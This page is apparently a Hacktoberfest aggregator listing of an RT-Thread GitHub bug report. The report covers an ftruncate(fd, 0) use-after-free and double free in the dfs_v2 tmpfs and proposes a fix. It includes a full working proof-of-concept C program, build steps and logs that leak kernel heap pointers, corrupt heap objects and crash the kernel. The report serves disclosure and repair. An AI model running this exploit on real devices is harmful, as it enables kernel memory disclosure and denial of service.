Hacktoberfest 2026: as issues que os mantenedores marcaram para outubro, abertas e boas para iniciantes. Ver issues do Hacktoberfest

[Bug] dfs_v2 tmpfs: ftruncate(fd, 0) frees the file buffer but reports success — use-after-free read/write and double free from a legal POSIX call

Aberta Para iniciantes
#11,902 4 comentários 0 reações 1 responsável Ver no GitHub

Mantenedores costumam responder em até 1 dia

@remukisama já está trabalhando nisso.

Desde 20/10/2026.

  • #11910 de @remukisama — aberto

Avaliação

Dificuldade
2/5
Tempo estimado
1-3 horas
Facilidade para iniciantes
78/100
Tipo de issue
Bug
Clareza
Claramente especificada
Status de atividade
Ativa
Stack de tecnologia
c
Domínio
backend, databases

Direção de pesquisa

Leia components/dfs/dfs_v2/filesystems/tmpfs/dfs_tmpfs.c, especialmente dfs_tmpfs_truncate(), e compare o tratamento de realloc de tamanho zero com o comportamento do heap descrito na issue. Comece rastreando como truncate atualiza o ponteiro dos dados e os tamanhos dos arquivos; o resultado esperado é que truncar para zero deixe o estado consistente, que leituras posteriores retornem zero bytes e que falhas de alocação informem -ENOMEM.

Escrita pelo modelo de indexação a partir do texto da issue.

Descrição

in progress

[Bug] dfs_v2 tmpfs: ftruncate(fd, 0) frees the file buffer but reports success — use-after-free read/write and double free from a legal POSIX call

RT-Thread Version: master (v5.4.0-dev, verified unfixed on 2026-10-20); introduced by commit 75b4f3d83a473c761fb1b08e6f1e08284d944d57 (2023-09-20, PR #8063); first affected release v5.0.2 — v5.0.2 / v5.1.0 / v5.2.0 / v5.2.1 / v5.2.2 / v5.3.0 / master all affected (verified by reading the file at each tag).

Affected area: Filesystem (components/dfs — dfs_v2 + tmpfs)

Hardware-BSP vendor: Other

Architecture: all (any config with RT_USING_DFS_V2 + RT_USING_DFS_TMPFS); reproduced on aarch64 (QEMU virt, RT-Smart) and Cortex-M33 (RP2350)

Board and hardware details:

  1. QEMU qemu-virt64-aarch64, RT_USING_SMART + RT_USING_DFS_V2 + RT_USING_DFS_TMPFS, tmpfs mounted, ELF rootfs on elm/FAT (virtio-blk).
  2. Raspberry Pi Pico 2 W (RP2350): pico-sdk application linking the unmodified RT-Thread kernel + dfs_v2 + tmpfs sources, USB CDC console.

Develop Toolchain: GCC (official CI aarch64-linux-musleabi gcc 7.3.0 kernel build; arm-none-eabi 10.3 for RP2350)

Describe the bug

dfs_tmpfs_truncate() (components/dfs/dfs_v2/filesystems/tmpfs/dfs_tmpfs.c, added in commit 75b4f3d8) does:

ptr = rt_realloc(d_file->data, offset);
if (ptr == RT_NULL)
{
    rt_set_errno(-ENOMEM);
    return 0;          /* <-- reports SUCCESS */
}

rt_realloc(ptr, 0) is specified by both RT-Thread heap backends to free the block and return NULL:

  • rt_memheap_realloc() (src/memheap.c): if (newsize == 0) { rt_memheap_free(ptr); return RT_NULL; }
  • rt_smem_realloc() (src/mem.c): else if (newsize == 0) { rt_smem_free(rmem); return RT_NULL; }

So the completely legal call ftruncate(fd, 0) on a tmpfs file that has data:

  1. frees d_file->data,
  2. returns 0 (success) to the application,
  3. leaves d_file->data dangling and d_file->size / vnode->size stale.

Every subsequent operation on the file operates on freed kernel heap memory:

  • read() → memcpy(buf, &d_file->data[pos]) — kernel heap UAF read (info disclosure, incl. allocator metadata);
  • write() → memcpy(d_file->data + pos, buf, len) — kernel heap UAF write;
  • unlink() / close(O_TRUNC) / open(O_TRUNC) — second rt_free() of the same chunk (double free);
  • with RT_USING_PAGECACHE (default y under RT_USING_SMART), close() flushes the dirty page and deterministically data-aborts the kernel in dfs_aspace_flush() (dfs_pcache.c:1733) because aspace->vnode has been corrupted by the UAF write.

Reproduction 1 — QEMU, RT-Smart, unprivileged user process, only official syscalls

Build bsp/qemu-virt64-aarch64 with RT_USING_SMART + RT_USING_DFS_TMPFS (page cache default on), FAT rootfs. The freestanding user program below (raw svc, no libc) mounts tmpfs at a pre-created /tmp2 directory, then exercises the bug. Boot, then:

msh /> sys_log 1
msh /> /ftrunc_uaf.elf
[poc] mount(/tmp2, tmp) ret = 0x0
[poc] open(/tmp2/a) fd = 3
[poc] write(A pattern) n = 0x800
[poc] control ftruncate(fd,4096) ret = 0x0
[poc] ftruncate(fd,0) ret = 0x0                    <- returns success, buffer freed
[poc] UAF read n = 0x40
[poc] leaked0: 5b 70 6f 63 5d 20 66 74 72 75 6e 63 61 74 65 28   <- "[poc] ftruncat(e("
[poc] open(/tmp2/b) fd = 4
[poc] write(B pattern) n = 0x800
[poc] UAF write via fd_a n = 0x11                  <- console output garbles right after:
                                                       the write corrupted a live kernel object
exception info: Data abort, fault addr 0x68
  dfs_aspace_flush   dfs_pcache.c:1733             <- triggered by close(fd) from user mode
  dfs_file_close     dfs_file.c:978
  dfs_fdtable_drop_fd dfs.c:764
  close              dfs_posix.c:295
  sys_close          lwp_syscall.c:760
  _SVC_Handler       lwp_gcc.S:177
  => deterministic whole-kernel abort from one close()

The leaked bytes "[poc] ftruncat(e(" are the contents of the freed chunk after the kernel reused it for another live object (sys_log's copy buffer).

Control run (same program without the zero-length truncate): read returns the real file content ("AaAa..."), close/unlink are clean, system stays alive and later msh commands work.

GDB hardware-watchpoint evidence (break on dfs_tmpfs_truncate(offset==0), watch d_file->data = 0xffff00000029b6b0): the first write into the freed chunk comes from sys_log() -> lwp_get_from_user(dst = <freed chunk>) — the kernel has already reallocated the freed chunk while tmpfs still holds the dangling pointer; later watch hits show the UAF write mangling that live object. Full transcript: dfs_tmpfs_truncate(file=..., offset=0) backtrace sys_ftruncate -> ftruncate -> dfs_file_ftruncate, watchpoint Old/New values per hit.

Reproduction 2 — real hardware (Raspberry Pi Pico 2 W, RP2350, Cortex-M33)

A pico-sdk application links the unmodified RT-Thread kernel + dfs_v2 + tmpfs sources (kernel-mode, kernel heap via RT_USING_SMALL_MEM_AS_HEAP) and runs a small shell over USB CDC. The trigger is the same dfs_poc sequence (mount tmpfs → open → write → ftruncate(fd,0) → read/write through the dangling fd):

dfs_poc
dfs_poc: tmpfs mounted at /dev
dfs_poc: wrote 512 bytes of AaAa pattern
dfs_poc: control ftruncate(fd,512) ret=0
dfs_poc: ftruncate(fd,0) ret=0  <- returns success
dfs_poc: read after truncate returned 64 bytes: 00 00 00 00 00 00 00 00 00 00 00 00 20 43 00 20 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
dfs_poc: write via dangling fd ret=17 (heap corruption)

20 43 00 20 (little-endian 0x20004320) is a small_mem free-list pointer: after ftruncate(fd,0) "succeeded", read() served 64 bytes of the freed chunk's allocator metadata to the caller — a kernel heap address disclosure — and the following write() stored 17 attacker bytes through the dangling pointer.

dfs_poc kill (adds unlink() = second free of the same chunk, then 16 same-size allocations):

dfs_poc: kill mode: unlink -> second free of same chunk
[

Console output stops mid-line during the spray: the double-freed chunk corrupts the free list and the subsequent allocations destroy the kernel output path itself. The board has to be power-cycled.

Expected result

ftruncate(fd, 0) must truncate the file to zero length and return 0 while keeping all internal state consistent: a subsequent read() returns 0 bytes, a write() starts a fresh allocation, and unlink()/close() free the buffer exactly once. An allocation failure must be reported as -ENOMEM, never as success. A fixed build prints read-after-truncate returned 0 bytes.

Full PoC (reproduction 1, self-contained)

/*
 * RT-Thread dfs_v2 tmpfs ftruncate(0) UAF PoC — freestanding RT-Smart user program.
 *
 * Bug (V1): dfs_tmpfs_truncate() (components/dfs/dfs_v2/filesystems/tmpfs/dfs_tmpfs.c)
 *   calls rt_realloc(d_file->data, 0). Both RT-Thread heap backends implement
 *   realloc(ptr, 0) as **free(ptr) + return NULL** (src/memheap.c rt_memheap_realloc,
 *   src/mem.c rt_smem_realloc). The NULL return is then treated as an allocation
 *   failure: the function returns 0 (= success!) while d_file->data is left
 *   dangling and d_file->size / vnode->size keep the old value.
 *   => any later read()/write()/unlink()/close() on the file operates on freed
 *      kernel heap memory: UAF read (info leak), UAF write (heap corruption),
 *      double free.
 *
 * Trigger is the perfectly legal POSIX call ftruncate(fd, 0).
 *
 * This program (unprivileged user process) does:
 *   1. mount tmpfs at /tmp2                      (svc 176, product boot-script equivalent)
 *   2. create /tmp2/a and fill it with a pattern (kernel heap buffer allocated)
 *   3. ftruncate(fd_a, 0) -> returns 0            [BUG: data freed, sizes stale]
 *   4. [leak]   read back via pread-equivalent lseek+read -> freed-chunk contents
 *              (memheap free-list pointers) instead of the old pattern
 *   5. [alias write] create /tmp2/b of the same size (reuses the freed chunk),
 *              write through dangling fd_a, read fd_b -> foreign file modified
 *   6. control: ftruncate(fd, 4096) grow path + normal IO still works, system alive
 *
 * Build: aarch64-linux-musleabi-gcc -nostdlib -static -no-pie -nostartfiles \
 *          -T lwp_poc.ld -O2 -ffreestanding -o ftrunc_uaf.elf ftrunc_uaf.c
 * Load : msh /> /ftrunc_uaf.elf          (requires: sys_log 1)
 */

typedef unsigned long u64;
typedef long          s64;
typedef unsigned int  u32;

static inline u64 sys_call7(u64 n, u64 a, u64 b, u64 c, u64 d, u64 e, u64 f)
{
    register u64 x8 __asm__("x8") = n;
    register u64 x0 __asm__("x0") = a;
    register u64 x1 __asm__("x1") = b;
    register u64 x2 __asm__("x2") = c;
    register u64 x3 __asm__("x3") = d;
    register u64 x4 __asm__("x4") = e;
    register u64 x5 __asm__("x5") = f;
    __asm__ volatile("svc #0"
                     : "+r"(x0)
                     : "r"(x8), "r"(x1), "r"(x2), "r"(x3), "r"(x4), "r"(x5)
                     : "memory", "cc");
    return x0;
}

/* numbers verified against func_table[] in the built rtthread.elf */
#define SYS_exit        1
#define SYS_read        2
#define SYS_write       3
#define SYS_lseek       4
#define SYS_open        5
#define SYS_close       6
#define SYS_unlink      118
#define SYS_mount       176
#define SYS_ftruncate   201
#define SYS_log         0xff

#define O_RDWR     0x00000002
#define O_CREAT    0x00000040
#define O_TRUNC    0x00000200
#define SEEK_SET   0

static int slen(const char *s) { int n = 0; while (s[n]) n++; return n; }
static void klog(const char *s) { sys_call7(SYS_log, (u64)s, slen(s), 0, 0, 0, 0); }

static char g_buf[160];
static void klog_hex(const char *tag, const void *data, int len)
{
    const unsigned char *d = data;
    for (int off = 0; off < len; off += 16)
    {
        char *p = g_buf;
        while (*tag) *p++ = *tag++;
        *p++ = '0' + (off / 16 % 10); *p++ = ':'; *p++ = ' ';
        for (int i = 0; i < 16 && off + i < len; i++)
        {
            u32 b = d[off + i];
            *p++ = "0123456789abcdef"[b >> 4];
            *p++ = "0123456789abcdef"[b & 0xf];
            *p++ = ' ';
        }
        *p = 0;
        klog(g_buf);
        tag = "";
    }
}
static void klog_val(const char *tag, u64 v)
{
    char *p = g_buf;
    while (*tag) *p++ = *tag++;
    *p++ = '0'; *p++ = 'x';
    for (int i = 15; i >= 0; i--)
    {
        u32 nib = (v >> (i * 4)) & 0xf;
        *p++ = nib < 10 ? '0' + nib : 'a' + nib - 10;
    }
    *p = 0;
    klog(g_buf);
}

#define FILE_A "/tmp2/a"
#define FILE_B "/tmp2/b"
#define BUFSZ  0x800          /* chunk size kept identical for allocator reuse */

static char pat_a[BUFSZ];
static char pat_b[BUFSZ];
static char rbuf[BUFSZ];

static void fill(char *buf, char c0, char c1)
{
    for (int i = 0; i < BUFSZ; i++) buf[i] = (i & 1) ? c1 : c0;
}

void _start(void)
{
    klog("[poc] dfs_v2 tmpfs ftruncate(0) UAF PoC start");

    /* 1. mount tmpfs at /tmp2 (mountpoint dir pre-created in rootfs image) */
    s64 m = (s64)sys_call7(SYS_mount, (u64)"tmp", (u64)"/tmp2", (u64)"tmp", 0, 0, 0);
    klog_val("[poc] mount(/tmp2, tmp) ret = ", (u64)m);

    /* 2. create file A with pattern -> kernel heap alloc for d_file->data */
    fill(pat_a, 'A', 'a');
    s64 fda = (s64)sys_call7(SYS_open, (u64)FILE_A, O_RDWR | O_CREAT, 0666, 0, 0, 0);
    klog_val("[poc] open(" FILE_A ") fd = ", (u64)fda);
    if (fda < 0) goto out;

    s64 n = (s64)sys_call7(SYS_write, fda, (u64)pat_a, BUFSZ, 0, 0, 0);
    klog_val("[poc] write(A pattern) n = ", (u64)n);

    /* control: ftruncate grow (non-zero) keeps working */
    s64 cg = (s64)sys_call7(SYS_ftruncate, fda, 0x1000, 0, 0, 0, 0);
    klog_val("[poc] control ftruncate(fd,4096) ret = ", (u64)cg);

    /* 3. THE BUG: ftruncate(fd, 0) — legal POSIX truncation */
    s64 r = (s64)sys_call7(SYS_ftruncate, fda, 0, 0, 0, 0, 0);
    klog_val("[poc] ftruncate(fd,0) ret = ", (u64)r);

    /* 4. UAF READ: sizes are stale, so the kernel happily memcpy's from the
     *    freed chunk: first 16 bytes are memheap freelist pointers, not 'A'/'a'. */
    sys_call7(SYS_lseek, fda, 0, SEEK_SET, 0, 0, 0);
    for (int i = 0; i < 64; i++) rbuf[i] = '.';
    n = (s64)sys_call7(SYS_read, fda, (u64)rbuf, 64, 0, 0, 0);
    klog_val("[poc] UAF read n = ", (u64)n);
    klog_hex("[poc] leaked", rbuf, 64);

    /* 5. UAF WRITE via alias: file B of the same size reuses the freed chunk */
    fill(pat_b, 'B', 'b');
    s64 fdb = (s64)sys_call7(SYS_open, (u64)FILE_B, O_RDWR | O_CREAT, 0666, 0, 0, 0);
    klog_val("[poc] open(" FILE_B ") fd = ", (u64)fdb);
    n = (s64)sys_call7(SYS_write, fdb, (u64)pat_b, BUFSZ, 0, 0, 0);
    klog_val("[poc] write(B pattern) n = ", (u64)n);

    /* write through the DANGLING file A onto (very likely) B's live buffer */
    static const char magic[] = "P0WNED-UAF-WRITE!";
    sys_call7(SYS_lseek, fda, 0, SEEK_SET, 0, 0, 0);
    n = (s64)sys_call7(SYS_write, fda, (u64)magic, sizeof(magic) - 1, 0, 0, 0);
    klog_val("[poc] UAF write via fd_a n = ", (u64)n);

    /* read B back through ITS fd: if it shows the magic, the freed A buffer
     * aliases B's live kernel heap buffer (cross-object corruption) */
    sys_call7(SYS_lseek, fdb, 0, SEEK_SET, 0, 0, 0);
    n = (s64)sys_call7(SYS_read, fdb, (u64)rbuf, 32, 0, 0, 0);
    klog_val("[poc] readback fd_b n = ", (u64)n);
    klog_hex("[poc] fd_b[0..32)", rbuf, 32);
    {
        const char *q = rbuf;
        int hit = 1;
        for (u32 i = 0; i < sizeof(magic) - 1; i++)
            if (q[i] != magic[i]) { hit = 0; break; }
        klog(hit ? "[poc] RESULT: UAF write crossed onto file B -> heap alias CONFIRMED"
                 : "[poc] RESULT: fd_b unchanged this round (allocator did not reuse; see GDB run)");
    }

    /* leave system alive: this is the non-destructive demo run.
     * double-free/crash variant is ftrunc_df.elf (same steps + unlink). */

    sys_call7(SYS_close, fda, 0, 0, 0, 0, 0);
    sys_call7(SYS_close, fdb, 0, 0, 0, 0, 0);
    klog("[poc] control: system still alive (msh returns normally)");
out:
    sys_call7(SYS_exit, 0, 0, 0, 0, 0, 0);
    for (;;) ;
}

Build (official CI toolchain for RT-Smart userland):

aarch64-linux-musleabi-gcc -nostdlib -static -no-pie -nostartfiles \
    -T lwp_poc.ld -O2 -ffreestanding -o ftrunc_uaf.elf ftrunc_uaf.c

with lwp_poc.ld placing the image in the RT-Smart user range:

OUTPUT_ARCH(aarch64)
ENTRY(_start)
SECTIONS
{
    . = 0x10000000;
    .text : { KEEP(*(.text.first)) *(.text .text.*) }
    .rodata : { *(.rodata .rodata.*) }
    .data : { *(.data .data.*) }
    .bss : { *(.bss .bss.*) *(COMMON) }
    /DISCARD/ : { *(.comment) *(.note*) *(.eh_frame*) }
}

Reproduction-2 harness notes (RP2350): pico-sdk owns startup/clocks/USB CDC; the RT-Thread side needs RT_USING_SMALL_MEM_AS_HEAP (otherwise the system heap macros expand empty and rt_malloc silently returns NULL), the tmpfs root mount point must keep dentry paths slashed (mount at /dev, not /), and the OS tick must come from a pico-sdk hardware alarm (add_repeating_timer_ms → rt_tick_increase) because the Cortex-M SysTick exception is never taken in this pico-sdk crt0 environment. The trigger function is the same dfs_poc() sequence shown in the log above (mount, open, write 512-byte pattern, ftruncate(fd,0), read/write through the fd, unlink).

Root cause / suggested fix

static int dfs_tmpfs_truncate(struct dfs_file *file, off_t offset)
{
    ...
    if (offset < 0) return -EINVAL;
    if (offset == 0)                 /* explicit clear */
    {
        if (d_file->data) { rt_free(d_file->data); d_file->data = RT_NULL; }
        d_file->size = 0;
        file->vnode->size = 0;
        /* drop cached pages if RT_USING_PAGECACHE */
        return 0;
    }
    ptr = rt_realloc(d_file->data, offset);
    if (ptr == RT_NULL) return -ENOMEM;   /* propagate failure, NOT 0 */
    ...
}

Also worth reviewing the same rt_realloc(ptr, 0) pattern across the tree, and adding a negative-length check in dfs_file_ftruncate().

Other additional context

  • Severity: CVSS 3.1 8.6 AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H — CWE-416 (UAF), CWE-415 (double free). Prerequisites (explicit): RT_USING_DFS_V2 + RT_USING_DFS_TMPFS with a mounted tmpfs (the documented way to provide /tmp); the attacker can execute code — an unprivileged user process under RT-Smart (reproduced) or any kernel-mode application/msh script. No malformed arguments: ftruncate(fd, 0) is the standard way to empty a file. Confirmed information disclosure (kernel heap contents incl. free-list pointers) and heap corruption primitives on both QEMU/RT-Smart and real hardware; deterministic kernel abort via close().
  • Not related to #11737 (pread negative offset): different root cause (realloc(0) semantics misuse vs. offset validation), different trigger (a legal call vs. a malformed argument), different CWE.
  • Introduced by 75b4f3d8 (PR #8063, "tmpfs adds truncate functionality and unlink adaptations"); verified present and unfixed on master as of 2026-10-20.
Linguagem predominante
C
Estrelas
12.3k
Forks
5.5k
Merge médio
7d 22h
PRs com merge (30d)
30

Preparar o ambiente

Abrir no Codespaces

Inicia o contêiner de desenvolvimento do projeto no navegador, com a sua própria conta do GitHub.

Primeiros passos

  1. Leia a issue inteira e depois o guia de contribuição do projeto.
  2. Comente na issue dizendo que vai assumir — evita que duas pessoas façam o mesmo trabalho.
  3. Faça um fork do repositório e trabalhe em uma branch.
  4. Abra um pull request que referencie o número da issue.

Mais de RT-Thread/rt-thread

Todas as issues de RT-Thread/rt-thread

Issues semelhantes

Mais issues de C

Receba novas issues na sua caixa de entrada

Um resumo curto de issues do GitHub para quem está começando.